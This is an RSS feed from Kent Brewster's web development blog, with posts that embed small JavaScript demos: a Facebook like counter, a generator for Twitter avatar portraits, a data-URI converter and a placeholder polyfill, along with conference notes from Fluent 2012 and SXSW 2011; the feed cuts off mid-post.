<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
<channel>
	<title>Brewster's Field Guide to Web 2.666</title>
	<description>Web 2.0, with a little bit of the devil inside.</description>
	<link>http://kentbrewster.com</link>
	<pubDate>Sun, 11 Nov 2012 18:05:00 PST</pubDate>
	<language>en</language>
	<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/KentBrewster" /><feedburner:info uri="kentbrewster" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Who Likes Mitt?</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/Y6DAY58qdNE/who-likes-mitt</link>
		<guid isPermaLink="false">http://kentbrewster.com/who-likes-mitt</guid>
		<comments>http://kentbrewster.com/who-likes-mitt</comments>
		<pubDate>Sun, 11 Nov 2012 18:05:00 PST</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
pre#output {
  height: 186px;
  width: 360px!important;
  display: inline-block;
  overflow: auto!important;
}
img#mitt {
  margin: 10px 0;
  vertical-align: top;
}
</style>
<p>Here's a real-time peek at the total number of likes on <a href="http://facebook.com/mittromney" target="_blank">Mitt Romney on Facebook</a>. Mmm, sweet tasty schadenfreude!</p>
<pre id="output"></pre>
<img id="mitt" src="http://25.media.tumblr.com/tumblr_m55yibdN6Z1rtxen9o1_400.gif" />
<p id="start"></p>
<p>Source code, such as it is, is <a target="_blank" href="https://gist.github.com/4053356">up on GitHub</a>. Enjoy!</p>
<iframe style="width: 90px; height: 21px;" class="fb_button" id="who-likes-mitt" src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fkentbrewster.com%2Fwho-likes-mitt%2F&amp;locale=en_US&amp;sdk=joey&amp;node_type=link&amp;width=90&amp;layout=button_count&amp;colorscheme=light&amp;extended_social_context=false" scrolling="no" frameborder="0" allowtransparency="true" ></iframe>

<script>

var output = document.getElementById('output');
var likes = 0;
var pong = function (r) { 
  if (!likes) {
    var p = document.getElementById('start');
    p.innerHTML = 'When you loaded this page on ' + new Date().toGMTString() + ', Mitt had ' + r.likes + ' likes.';
    likes = r.likes;
  }
  var t = new Date().toGMTString();
  var diff = '';
  if (likes - r.likes !== 0) {
    diff = ' (' + (0 - (likes - r.likes)) + ')';
  }
  output.innerHTML = t + ': ' + r.likes + diff + '\n' + output.innerHTML;
  var apiCall = document.getElementById('apiCall');
  if (apiCall && apiCall.parentNode) {
    apiCall.parentNode.removeChild(apiCall);
  }
};

var ping = function () {
  var s = document.createElement('SCRIPT');
  s.src = 'https://graph.facebook.com/mittromney?callback=pong';
  s.id = 'apiCall';
  s.type = 'text/javascript';
  document.body.appendChild(s);
  window.setTimeout( function () { ping(); }, 10000);
};

ping();

</script>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/who-likes-mitt</feedburner:origLink></item>
	<item>
		<title>Fluent Conference 2012</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/sBJhg6NhVxg/fluent-2012</link>
		<guid isPermaLink="false">http://kentbrewster.com/fluent-2012</guid>
		<comments>http://kentbrewster.com/fluent-2012</comments>
		<pubDate>Fri, 01 Jun 2012 23:03:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ <p>Special note to RSS readers: this entry contains live JavaScript.  Please visit the page to see it working!</p>

<p>Had a great time presenting at O'Reilly's <a href="http://fluentconf.com">Fluent Conference: JavaScript & Beyond</a>, held May 29 through 31 in San Francisco.  As promised, here's the presentation I gave.  To start it up, click inside the black part and use your arrow keys to navigate.</p> 
<iframe style="margin: 20px 0;" frameborder="0" height="500" width="800" src="http://kentbrewster.com/fluent-2012/preso.html"></iframe>
<p>I have never had a better audience for a presentation, nor have I ever felt prouder of the people I came up with at Yahoo.  Gary Flake, Tom Hughes-Croucher, Greg Schechter, Steve Souders, Nicole Sullivan, Estelle Weyl, and Nicholas Zakas all gave stellar presentations, and reminded me why this sort of thing is so much fun to attend. Hope to be back next time!</p>  
<p>The presentation is a pretty simple bit of HTML; someday When I Have Time&trade; I will document how I did it. It seems to run quite a bit more smoothly on Mozilla than Webkit; IE should work, but will have no animations.</p>
<p>I've fixed the single-character variable names in the example; sorry if that was confusing.</p>
<p>And ... yes, I'm thinking about writing a book on this subject. Suggestions welcome!</p>

<p>Special note to RSS readers: this entry contains live JavaScript.  Please visit the page to see it working!</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/fluent-2012</feedburner:origLink></item>
	<item>
		<title>Twitter Avatar Portraits</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/61GszoMeQi0/avatar-portraits</link>
		<guid isPermaLink="false">http://kentbrewster.com/avatar-portraits</guid>
		<comments>http://kentbrewster.com/avatar-portraits</comments>
		<pubDate>Mon, 01 Aug 2011 21:29:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 

<!--[if IE]><script src="excanvas.js"></script><![endif]-->
<link href="http://fonts.googleapis.com/css?family=Nothing+You+Could+Do" rel="stylesheet" type="text/css">

<style>

  a {
    color: #00f;
  }

  div#container {
    float: right;
    margin: 0 20px 20px!important;
    border: 1px solid #aaa;
    width: 400px;
    padding: 20px;
    text-align: center;
    background: #fff;
    -moz-box-shadow: 0 5px 10px #777;
    -webkit-box-shadow: 0 5px 10px #777;
    box-shadow: 0 5px 10px #777;
  }

  canvas {
    border: 1px solid #aaa;
    background: #eee;
    height: 400px;
    width: 400px;
  }

  #input {
    text-align: center;
    outline: none;
    display: block;
    width: 300px;
    margin: 20px auto 10px;
    font-size: 32px;
    border: none;
    font-family: "Nothing You Could Do", cursive;
  }

  #output {
    border: 1 solid #aaa;
    margin: 0 auto;
  }

  img {
    position: absolute;
    top: -1000px;
    left: -1000px;
  }
</style>

<p>Some generative Canvas magic, with a little help from the <a href="http://bit.ly/pRwndg" target="_vu">Twitter API</a> and YQL's <a href="http://yhoo.it/mUs7vR" target="_vu">instant-data-URI converter</a>.  To try it out, enter your Twitter nickname down there where you see mine, which is <code>kentbrew</code>.</p>
<div id="container">
<canvas id="output"></canvas>
<input id="input" spellcheck="false" placeholder="Enter Twitter ID" />
</div>
<h3>What's Going On Here?</h3>
<p>We're calling the Twitter API from Yahoo! Query Language, receiving an image URL for your avatar, converting it to a <code>data:uri</code>, and returning its base64-encoded value as JSON with a callback.</p>
<p>Then we create an image on the client, load it with the data YQL gave us, and stretch it to fit our (comparatively very large) <code>canvas</code> tag.</p>
<p>Since we've created the image locally, the <a href="http://blog.project-sierra.de/archives/1577" target="_vu">usual canvas security restrictions</a> don't apply and we're free to sample pixels.  We do this, collecting color values and positions, and then we start drawing circles with random sizes and tiny random offsets from where each color sample was taken.</p>
<p>We let this run for about 20 seconds; this is long enough to develop most of what you're going to get, while leaving some of the interesting batik/pastel texture intact.</p>
<h3>Things to Do and Notice</h3>
<p>The result can be surprisingly complex and fun to watch.  I've noticed that intensely-colored logos seem to work nicely; see <a onclick="H.s['input'].value='Etsy';H.f.ping('Etsy');">Etsy</a>, <a onclick="H.s['input'].value='ProgrammableWeb';H.f.ping('ProgrammableWeb');">ProgrammableWeb</a>, <a onclick="H.s['input'].value='YCombinator';H.f.ping('YCombinator');">YCombinator</a>, <a onclick="H.s['input'].value='BoingBoing';H.f.ping('BoingBoing');">BoingBoing</a>, or <a onclick="H.s['input'].value='google';H.f.ping('google');">Google</a>. Also pretty awesome: those <a href="http://eightbit.me">EightBit.Me</a> avatars.  <a onclick="H.s['input'].value='Adrianocastro';H.f.ping('Adrianocastro');">Adrianocastro</a>, <a onclick="H.s['input'].value='noahmittman';H.f.ping('noahmittman');">noahmittman</a>, and <a onclick="H.s['input'].value='ladyfox14';H.f.ping('ladyfox14');">ladyfox14</a> are all looking great.</p>
<p>The default image is my own Twitter avatar. If you're a fan of this sort of thing, you might want to consider <a href="http://twitter.com/kentbrew" target="_vu">following me</a>.</p>
<p>If you'd like to save one of these images, smarter Web browsers like Firefox will allow you to drag and drop to your desktop or save it the way you usually save an image.</p>
<p>The handwritten font was made by the talented <a href="https://profiles.google.com/gesweinfamily/posts" target="_vu">Kimberly Geswein</a> and distributed through the <a href="http://www.google.com/webfonts#QuickUsePlace:quickUse/Family:Nothing+You+Could+Do" target="_vu">Google Web Fonts</a> project.</p>
<h3>Compatibility?</h3>
<p>So far this works on everything I've tried, including my iPhone.  As far as I know this should run on IE; I think I've done the right things with the <a href="http://code.google.com/excanvas">Excanvas</a> library.</p>
<h3>Source?</h3>
<p>This one's pretty straightforward; if you were to save this page to your desktop and drag it into your browser, it would come right up and run.  There might be 75 lines of JavaScript in here, with a bit of CSS to make things pretty.</p>
<p>As always, please have fun with this, and do let me know how it goes.</p>
<script type="text/javascript">
  // Avatar Portrait Generator
  (function (w, d, a) { 
    var $ = w[a.k] = {};
    $.a = a;
    $.w = w;
    $.d = d;
    $.s = {};
    $.v = {};
    $.q = {};
    $.f = (function () { 
      return {
        pong : function(r) {
          var img = document.createElement('IMG');
          img.onload = function() {
            $.s.ctx.drawImage(img, 0, 0, $.a.boardSize,  $.a.boardSize);
            var p = $.a.cellSize / 2;
            $.v.sample = [];
            var xc = yc = 0;
            for (var y = p; y <  $.a.boardSize; y = y + $.a.cellSize) {
              $.v.sample[yc] = [];
              xc = 0;
              for (var x = p; x <  $.a.boardSize; x = x + $.a.cellSize) {
                var r = $.s.ctx.getImageData(x, y, 1, 1).data;
                var c = 'rgba(' + r[0] + ',' + r[1] + ',' + r[2] + ',.10)';
                $.v.sample[yc][xc] = c;
                xc++;
              }
              yc++;
            }

            $.s.ctx.fillStyle = 'rgb(0,0,0)';
            $.s.ctx.fillRect(0, 0,  $.a.boardSize,  $.a.boardSize);
            $.v.startTime = new Date().getTime();
            $.v.run = $.w.setInterval(function() {
              for (var i = 0; i < 5; i = i + 1) {
                var x = Math.floor(Math.random() * xc);
                var y = Math.floor(Math.random() * yc);
                $.s.ctx.beginPath();
                var rand = Math.floor(Math.random() * $.a.cellSize);
                var dx = Math.floor(Math.random() * $.a.cellSize) - p;
                var dy = Math.floor(Math.random() * $.a.cellSize) - p;
                $.s.ctx.arc(x * $.a.cellSize + p + dx, y * $.a.cellSize + p + dy, rand, 0, Math.PI * 2, false);
                $.s.ctx.closePath();
                $.s.ctx.fillStyle = $.v.sample[y][x];
                $.s.ctx.fill();
              }
              var t = new Date().getTime();
              if (t > $.v.startTime + $.a.maxTime) {
                $.w.clearInterval($.v.run);
              }
            }, 1);
          }
          img.src = r.query.results.url;
          $.d.b.appendChild(img);
        },
        ping : function (id) {
          var script = document.createElement('SCRIPT');
          var url = 'http://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20data.uri%20where%20url%3D%22http%3A%2F%2Fapi.twitter.com%2F1%2Fusers%2Fprofile_image%2F';
          url = url + id + '.js%22&format=json&callback=H.f.pong';
          script.src = url;
          $.d.b.appendChild(script);
        }, 
        init : function () {
          $.d.b = $.d.getElementsByTagName('BODY')[0];
          $.s.input = $.d.getElementById('input');
          $.s.canvas = $.d.getElementById('output');
          $.s.canvas.height = $.a.boardSize;
          $.s.canvas.width = $.a.boardSize;
          $.s.ctx = $.s.canvas.getContext('2d');
          $.s.input = $.d.getElementById('input');
          $.s.input.onchange = function() {
            $.f.ping(this.value);
          }
          $.s.input.value = 'kentbrew';
          $.f.ping('kentbrew');
        }   
      };
    }());
    $.w.addEventListener('load', $.f.init, false);
      
  }(window, document, {'k': 'H', 'cellSize': 17, 'boardSize': 400, 'maxTime': 20000}));
</script>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/avatar-portraits</feedburner:origLink></item>
	<item>
		<title>Instant Data URIs</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/Koaqc0am8bI/instant-data-uris</link>
		<guid isPermaLink="false">http://kentbrewster.com/instant-data-uris</guid>
		<comments>http://kentbrewster.com/instant-data-uris</comments>
		<pubDate>Thu, 23 Jun 2011 08:29:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 

<p>If you're using a browser (currently Firefox 3.6 or better) that understands what to do about the <code>FileReader</code> function, you should be able to drag files to the drop zone, below, and immediately see them converted to <code>data:uri</code> format.</p>

  <style>
    #input {
      height: 100px;
      width: 100%;
      /* background image by squidfingers, at http://squidfingers.com/patterns ... I used this tool to convert it. */
      background: gray url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAAgCAIAAADIYSy/AAACwUlEQVRYhbWWsWvbQBTGX+FCG0IMUpsEksGmFOOAl4JCyZolf2GXDv0/vGgtIYIsgZgMQR4SSBzHICNsYw8dPnJ6ene6g/b0JnH67u53T0/3vg+/f/28vEioHrObh47aEYPp9Ln/YyAG1+VqcPhFDI7SzFxz/PL6ce+TGLy/Gl8cHInBYrv5/P2rGFRYgojM/fhMIuoOe/dXYyIycSvlooQSD539vSYlluoOe8VjQURmXnQATxERDmrFBSLON315BaIVl5M9LZd4sOLy6etyhcVnNw8mLpCAp/Qoxz2oI4rguO7kcdymEyI4rkBEKDEB77J5bhZZE+7ApwTun+s7R81w3FGa9fuH4pUEXZcrPIzSjIgcuFCen50iDdbcIyA4Pzt9KpdUz5MIbKoXt2cU71CjE8oduFxZLEr+1QQuHywWJaaYn5UjIkylEhs7Dtod9hzKWpGddBxp5hAmYpNSuRF5TG79hQuyLM28hYtNHZRCqajhq5mRRLFXidMnUey9m7FUEsXZ/M29L5SK3m8vBwQSqduVVcnJZo8F/2oCl1+ZxXaDxa2p5crqZ+IQAlEEV+58O3Ikj+Me7+5ab3W+kcY1lfJ60u+85Qhlen3nVepyNNt6E655GAmq27q3yNLpMxElUext6xAkUYwpDlxsajUAFaho6w4DwPcrthtHW+eDs/cpVlx+ZVoNgCJnWxcGwJES0dYdaea4+n6wtiuOq5oQTdxsnnuLDGSj+dvlvmdNjWu2dSuuasM7UgseV1H9qwXxjtSCx2X3aDjvqCOgxzXu0RDe0Yr7nx5XggbxjiKCeNwKNKB3FBsH8bge9/Rv3pFa8LhqcpsH944TyoN7XNWGd6QWPG7l8AN6R2rB41Y/U0DvqCOgx5XXUxDvaIVoQjSVVo9r+NEQ3lGuGcLjMj8azjsKxCAeV1EL3pFa8Lh/AYbh2AJduVUxAAAAAElFTkSuQmCC) 0 0;
      color: #fff;
      text-shadow: 0 0 5px #000;
      text-align:center;
      font-size: 22px!important;
      line-height: 100px!important;
      -moz-border-radius: 10px;
      -moz-box-shadow: inset 0 0 10px #000;
      -webkit-border-radius: 10px;
      -webkit-box-shadow: inset 0 0 10px #000;
      border-radius: 10px;
      box-shadow: inset 0 0 10px #000;      
      border: 1px solid #aaa;
    }

    #output {
      width: 100%;
      list-style: none!important;
      padding: 0!important;
    }
    #output li {
      list-style: none!important;
      padding: 0!important;
      margin: 0!important;
      height: 60px;
      position: relative;
      
    }
    #output li img {
      position: absolute;
      top: 50%;
      left: 30px;
      -moz-box-shadow: 0 0 5px #555;
      -webkit-box-shadow: 0 0 5px #555;
      box-shadow: 0 0 5px #555;
    }
    #output li pre {
      -moz-box-shadow: 0 0 5px #555;
      -webkit-box-shadow: 0 0 5px #555;
      box-shadow: 0 0 5px #555;
      text-align: left;
      height: 60px;
      line-height: 60px;
      text-indent: 5px;
      margin-left: 70px!important;
      padding: 0!important;
      overflow: hidden!important;
      border: none!important;
      width: 740px!important;
    }
   </style> 

<h1 id="input">Drag Files Here to Create Data URIs</h1>
<ul id="output"></ul>

<h3>Things to Do and Notice</h3>
<ul>
<li>Drag an image onto the drop zone and you should see it immediately processed, thumbnailed, and displayed.  (The thumbnail is the full-sized image scaled to 60 by 60px; sorry, but I'm just not that cool.)</li>
<li>Everything's happening on the client; my end never sees your file.</li>
<li>Multiple files work fine, and there are no size limits; it's all happening on your end.</li>
<li>Non-image files also work, although you won't see a thumbnail.</li>
<li>Directory drops will get you nothing but a blank box.</li>
</ul>
<h3>Caution</h3>
<p>Something I'm loading asynchronously--I'm guessing it's Facebook-related, and has piggybacked on Disqus--seems to occasionally block the script. If it doesn't work, please try reloading the page and waiting for all the asynchronous calls to settle down.  Sorry about that!</p> 
<h3>Source?</h3>
<p>It's on GitHub, here:</p>
<p><a href="https://github.com/kentbrew/dragToDataUri">https://github.com/kentbrew/dragToDataUri</a></p>
<h3>Loving GitHub for Mac!</h3>
<p>I'm using the extremely spiffy new <a href="http://mac.github.com">GitHub for Mac</a> to keep track of this project. Fast, free, gorgeous, and highly recommended!</p>
<p>As always, please have fun, and do let me know how it goes.</p>

<script type="text/javascript">
    (function (w, d, a) {
      var $ = w[a.k] = {};
      $.a = a;
      $.w = w;
      $.d = d;
      $.s = {};
      $.v = {};
      $.q = {};
      $.f = (function () {
        return {
          scale : function (a) {
            var h = a.img.height;
            var w = a.img.width;
            var newHeight = a.h;
            var newWidth = a.w;
            if (h === w) {
              if (a.h < a.w) {
                newHeight = a.h;
                newWidth = a.h;
              } else {
                newHeight = a.w;
                newWidth = a.w;
              }
            } else {
              if (h < w) {
                if (h / w > a.h / a.w) {
                  newHeight = a.h;
                  newWidth = w / (h / a.h);
                } else {
                  newWidth = a.w;
                  newHeight = h / (w / a.w);
                }
              } else {
                if (w / h > a.w / a.h) {
                  newWidth = a.w;
                  newHeight = h * a.w / w;
                } else {
                  newHeight = a.h;
                  newWidth = w / (h / a.h);
                }
              }
            }
            a.img.height = newHeight;
            a.img.style.marginTop = -newHeight / 2 + 'px';
            a.img.width = newWidth;
            a.img.style.marginLeft = -newWidth / 2 + 'px';
            a.b.parentNode.insertBefore(a.img, a.b);
          },
          process : function (e) {
            var li = $.d.createElement('LI');
            var pre = $.d.createElement('PRE');
            pre.innerHTML = e.target.result;
            li.appendChild(pre);
            var img = document.createElement('IMG');
            img.onload = function() {
              $.f.scale({'img': this, 'h': 50, 'w': 50, 'b': pre});
            }
            img.src = e.target.result;
            var f = $.s.output.getElementsByTagName('LI')[0];
            if (f) {
              f.parentNode.insertBefore(li, f);
            } else {
              $.s.output.appendChild(li);
            }
          },
          drop : function (e) {
            var data = e.dataTransfer;
            e.stopPropagation();
            e.preventDefault();
            for (var i = 0, n = data.files.length; i < n; i++) {
              var file = data.files[i], reader = new FileReader();
              reader.addEventListener("loadend", $.f.process, false);
              reader.readAsDataURL(file);
            }
          },
          halt : function (e) {
            e.stopPropagation();
            e.preventDefault();
          },
          init : function () {
            $.s.input = $.d.getElementById('input');
            if (typeof FileReader !== 'function') {
              $.s.input.innerHTML = 'Please try a browser with FileReader implemented.';
            } else {
              $.s.output = $.d.getElementById('output');
              $.s.input.addEventListener("dragenter", $.f.halt, false);
              $.s.input.addEventListener("dragover", $.f.halt, false);
              $.s.input.addEventListener("drop", $.f.drop, false);
            }
          }
        };
      }());
      $.w.addEventListener('load', $.f.init, false);
    }(window, document, {'k': 'DRAGTODATAURI'}));
  </script>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/instant-data-uris</feedburner:origLink></item>
	<item>
		<title>Input Placeholders for Everyone</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/p7WMFwpqwPc/input-placeholders-for-everyone</link>
		<guid isPermaLink="false">http://kentbrewster.com/input-placeholders-for-everyone</guid>
		<comments>http://kentbrewster.com/input-placeholders-for-everyone</comments>
		<pubDate>Fri, 15 Apr 2011 10:59:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 

<p>In my travels for <a href="http://vurve.com">Vurve</a>, and last year while at Netflix, I'm running into the new <code>placeholder</code> attribute for <code>INPUT</code> tags. Placeholders are sweet; they supply the reader with a hint about what he's supposed to enter in a text field, allowing for much tighter design.  Code for placeholders looks something like this:</p>

<pre>
&lt;input type="text" placeholder="username" />
&lt;input type="text" placeholder="e-mail" />
&lt;input type="password" placeholder="password1" />
&lt;input type="password" placeholder="password2" />
</pre>

<p>Sadly, placeholders only work with the most recent browsers, which do NOT include Firefox less than version 4 or IE less than version 9.</p>

<p>Here's a standalone script that:</p>

<ul>
<li>Checks if we're using a browser that doesn't recognize placeholders.</li>
<li>Looks for text or password fields that have placeholders.</li>
<li>Creates absolutely-positioned <code>SPAN</code> tags, sets their <code>innerHTML</code> to whatever's in the placeholder, and inserts them immediately before their <code>INPUT</code> tags.</li>
<li>Hides or shows them at the right times, depending on whether the field already has a value, and on events like <code>focus</code>, <code>blur</code>, and <code>mousedown</code>.</li>
</ul>

<h3>Hasn't This Already Been Handled?</h3>

<p>Yes. Dave Sparks did it over on <a href="http://www.kamikazemusic.com/quick-tips/jquery-html5-placeholder-fix/">kamikazimusic.com</a> with jQuery and Modernizr and Dave Dorward posted a non-library-based solution on <a href="http://stackoverflow.com/questions/3429520/how-do-i-get-placeholder-text-in-firefox-and-other-browsers-that-dont-support-th">stackoverflow</a> in August of 2010.  I wrote this 1) for fun, 2) because I tend not to require libraries unless I absolutely, positively must, and 3) because I don't like solutions that mess around with the <code>VALUE</code> attribute or add a <code>LABEL</code> to the DOM.</p>

<h3>Try It Here:</h3>

<p><input type="text" placeholder="username" /></p>
<p><input type="text" placeholder="email" value="bob@dobbs.com" /> (has a prefilled value; delete to see the placeholder)</p>
<p><input type="password" placeholder="password1" /></p>
<p><input type="password" placeholder="password2" /></p>

<h3>The Script</h3>
<style>
.gist-highlight pre, .gist-highlight pre div {
  margin: 0!important;
  padding: 0!important;
}
</style>
<script src="https://gist.github.com/921146.js?file=behavior.js"></script>

<h3>Notes</h3>

<ul>
<li>I've taken steps to move placeholder styling to the last line of the script; feel free to tweak the font size or color if it's not quite right.</li>
<li>If you want to use a different global namespace than IP, go right ahead.  It only appears once, on that very last line.</li>
<li>
  <p>When you're creating new <code>INPUT</code> boxes on the fly, you should be able to do this:</p>
  <p><code>IP.f.makePlaceHolder(yourInput, yourPlaceholder);</code></p>
  <p>... any time after page load.</p>
</li> 
<li>
  <p>Yes, I'm seeing the delay between page load and placeholders appearing; this is because of my other third-party scripts (Disqus, Delicious, Twitter, and Delicious) which are taking a while.  As long as it's being called after your last <code>INPUT</code> tag, it's probably safe to fire it off immediately instead of waiting for page load; to do that, you'd remove this line:</p>
  <p><code>$.f.listen($.w, 'load', $.f.init);</code></p>
  <p>... and substitute this:</p>
  <p><code>$.f.init();</code></p>
</li>
</ul>

<p>If it looks like it will be useful, feel free to fork Input Placeholders For Everyone on <a href="https://gist.github.com/921146">GitHub</a>.  As always, have fun, and please let me know how it works.</p>

<script type="text/javascript">
(function (w, d, a) {
  var $ = w[a.k] = {};
  $.a = a;
  $.w = w;
  $.d = d;
  $.f = (function () { 
    return {   
      getEl: function (v) {
        // helper: which is the target of this event?
        var el;
        if (v.target) {
          el = (v.target.nodeType === 3) ? v.target.parentNode : v.target;
        }
        else {
          el = v.srcElement;
        } 
        return el;
      },
      getPrev : function (el) {
        // helper: which is this element's previous sibling?
        var prevSib = el.previousSibling;
        if (prevSib && prevSib.nodeType !== 1) {
          prevSib = prevSib.previousSibling;
        }
        return prevSib;
      },
      getNext : function (el) {
        // helper: which is this element's next sibling?
        var nextSib = el.nextSibling;
        if (nextSib && nextSib.nodeType !== 1) {
          nextSib = nextSib.nextSibling;
        }
        return nextSib;
      },
      focus: function (e) {
        var v = e || $.w.event, el = $.f.getEl(v), span = $.f.getPrev(el);
        if (span) {
          // always hide the placeholder
          span.style.display = 'none';
        }
      },
      blur: function (e) { 
        var v = e || $.w.event, el = $.f.getEl(v), span = $.f.getPrev(el);
        if (span && span.tagName === 'SPAN') {
          if (!el.value) {
            // field has no value; show placeholder
            span.style.display = 'block';
          } else {
            // field has value; hide placeholder
            span.style.display = 'none';
          }
        }
      },
      down: function (e) {
        var v = e || $.w.event, span = $.f.getEl(v);
        // always hide the placeholder
        span.style.display = 'none';
        $.f.getNext(span).focus();
      },
      listen : function (el, ev, fn) {
        // helper: gracefully attach an event
        if(typeof $.w.addEventListener !== 'undefined') {
          el.addEventListener(ev, fn, false);
        } else if(typeof $.w.attachEvent !== 'undefined') {
          el.attachEvent('on' + ev, fn);
        }
      },  
      makePlaceholder : function (input, placeholder) {
        var span, rule;
        if (input.type === 'text' || input.type === 'password' ) {
          span = $.d.createElement('SPAN');
          span.innerHTML = placeholder;
          span.style.position = 'absolute';
          span.style.lineHeight = input.offsetHeight + 'px';
          for (rule in $.a.style) {
            if ($.a.style.hasOwnProperty(rule)) {
              span.style[rule] = $.a.style[rule];
            }
          }
          if (input.value) {
            span.style.display = 'none';
          }
          input.parentNode.insertBefore(span, input);
          $.f.listen(span, 'mousedown', $.f.down);
          $.f.listen(input, 'focus', $.f.focus);
          $.f.listen(input, 'blur', $.f.blur);
        }
      },
      init : function () {
        // no need to do any of this for browsers that understand placeholders
        if ('placeholder' in $.d.createElement('INPUT')) {
          return;
        } 
        var el, input, i, n, placeholder;
        input = $.d.getElementsByTagName('INPUT');
        for (i = 0, n = input.length; i < n; i = i + 1) {
          el = input[i];
          placeholder = el.getAttribute('placeholder');
          if (placeholder) {
            $.f.makePlaceholder(el, placeholder);
          }
        }
      }      
    };
  }());
  $.f.listen($.w, 'load', $.f.init);                                               
}(window, document, {'k': 'IP', 'style': {'fontSize':'87%', 'marginLeft':'5px', 'color':'#aaa'}}));
</script>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/input-placeholders-for-everyone</feedburner:origLink></item>
	<item>
		<title>South By Southwest, 2011</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/j27CmBXEYe4/sxsw-2011</link>
		<guid isPermaLink="false">http://kentbrewster.com/sxsw-2011</guid>
		<comments>http://kentbrewster.com/sxsw-2011</comments>
		<pubDate>Sun, 27 Mar 2011 23:09:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 

<p>As always, I'm a couple of days behind on e-mail, so I was delighted to see a note from the folks at SlideShare, telling me that "Mistakes I Made Building Netflix for the iPhone" (embedded below) was "being tweeted more than anything else on SlideShare right now."  Thanks for your interest, everyone; here are some random notes about the presentation, the process that led to it, and how SxSW went this year.</p>

<h3>SxSW 2011</h3>

<p>I had a fine time at SxSW; most of what I had to report echoes what's already been said by people like <a href="http://randomfoo.net">Leonard Lin</a> and in <a href="http://kentbrewster.com/things-to-remember-about-sxsw/">Things To Remember About SxSW</a>, which I haven't updated in about three years.  It was huge, packed, and fun for several unexpected reasons.  
<ul>
  <li>This was the year SxSW went Seriously Corporate, and that turned out not to be such a bad thing.  Pepsi, Dodge, and CNN had huge presences, and were welcome relief from crowds and craziness.  AOL has been coming to Austin for years; I find myself feeling prouder and prouder of what they've accomplished every time.</li>
  <li>2011 was also the Year of the Food Truck; I sat down in exactly one restaurant during the entire week--Blue Ribbon Barbecue, which is new, and excellent--and found myself going back for the brisket twice more.  Halcyon is still there, and still my favorite oasis of calm when I need to get a bit of coding done.</li>
  <li>Sadly, this was also the Year of the Many Confusing Lines and Poorly-Executed Crowd Control.  You needed the exact right combination of badge color, armband color, and RSVP/VIP status to stand a chance of getting into anything interesting; the closing act for Interactive--a band whose name rhymed with "Boo Biters"--turned away thousands, including me.</li>
  <li>As always, I made new friends and strengthened old ties; seven years in I'm starting to feel like I know where to go and what to do.  Special thanks to the British and Canadian mafias, who guided me well when it came time to choose a not-so-crowded destination or two.</li>
</ul>  

<h3>20x2 (Twenty Speakers, One Question, Two Minutes Each)</h3>

<p>I was in fine company once again at <a href="http://20x2.org/">20x2</a>.  Some highlights: <a href="http://twitter.com/benward">Ben Ward</a>, <a href="http://twitter.com/sixfoot6">Ryan Gantz</a>,  <a href="http://twitter.com/neiliyo">Neiliyo</a>, and the incomparable <a href="http://twitter.com/southpawjones">Southpaw Jones</a>.  The Question of the Year was "Why Did You Do It," so I answered the one everyone had been asking me since October:</p> 
<p><iframe src="http://player.vimeo.com/video/21122447" width="400" height="300" frameborder="0"></iframe></p> 
<p>At the show I dedicated it to my friend Havi Hoffman, who was in the audience, and knows why. :)</p>   

<h3>Solo Presentation: Mistakes I Made Building Netflix for the iPhone</h3>      

<p>At the time I proposed this panel, Netflix for the iPhone had not yet released.  By the time it went live, I'd already left the company.  So I was very, very nervous walking in.  Fortunately I had a great crowd, nice folks in the Green Room, and--after I loosened up a bit--it seemed to go well.</p>
<p>I've never put a SxSW presentation online; they tend to get rewritten the night before, and this one was no exception.  Enough people asked for it, however, so I put the slides up on Slideshare.</p>
<p>The demo you should look at during the slide that says "awesome demo here" is at <a href="http://iflix.us">iflx.us</a>, and the code (which, I must reiterate, was literally written the night before the presentation) may be forked at <a href="https://github.com/kentbrew/iflx">https://github.com/kentbrew/iflx</a>.</p>

<p><object id="__sse7290611" width="425" height="355"> <param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=netflix-mistakes-110317004042-phpapp01&stripped_title=mistakes-i-made-building-netflix-for-the-iphone&userName=kentbrew" /> <param name="allowFullScreen" value="true"/> <param name="allowScriptAccess" value="always"/> <embed name="__sse7290611" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=netflix-mistakes-110317004042-phpapp01&stripped_title=mistakes-i-made-building-netflix-for-the-iphone&userName=kentbrew" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed> </object></p>

<p>Here's the audio, which I hope I'm doing right:

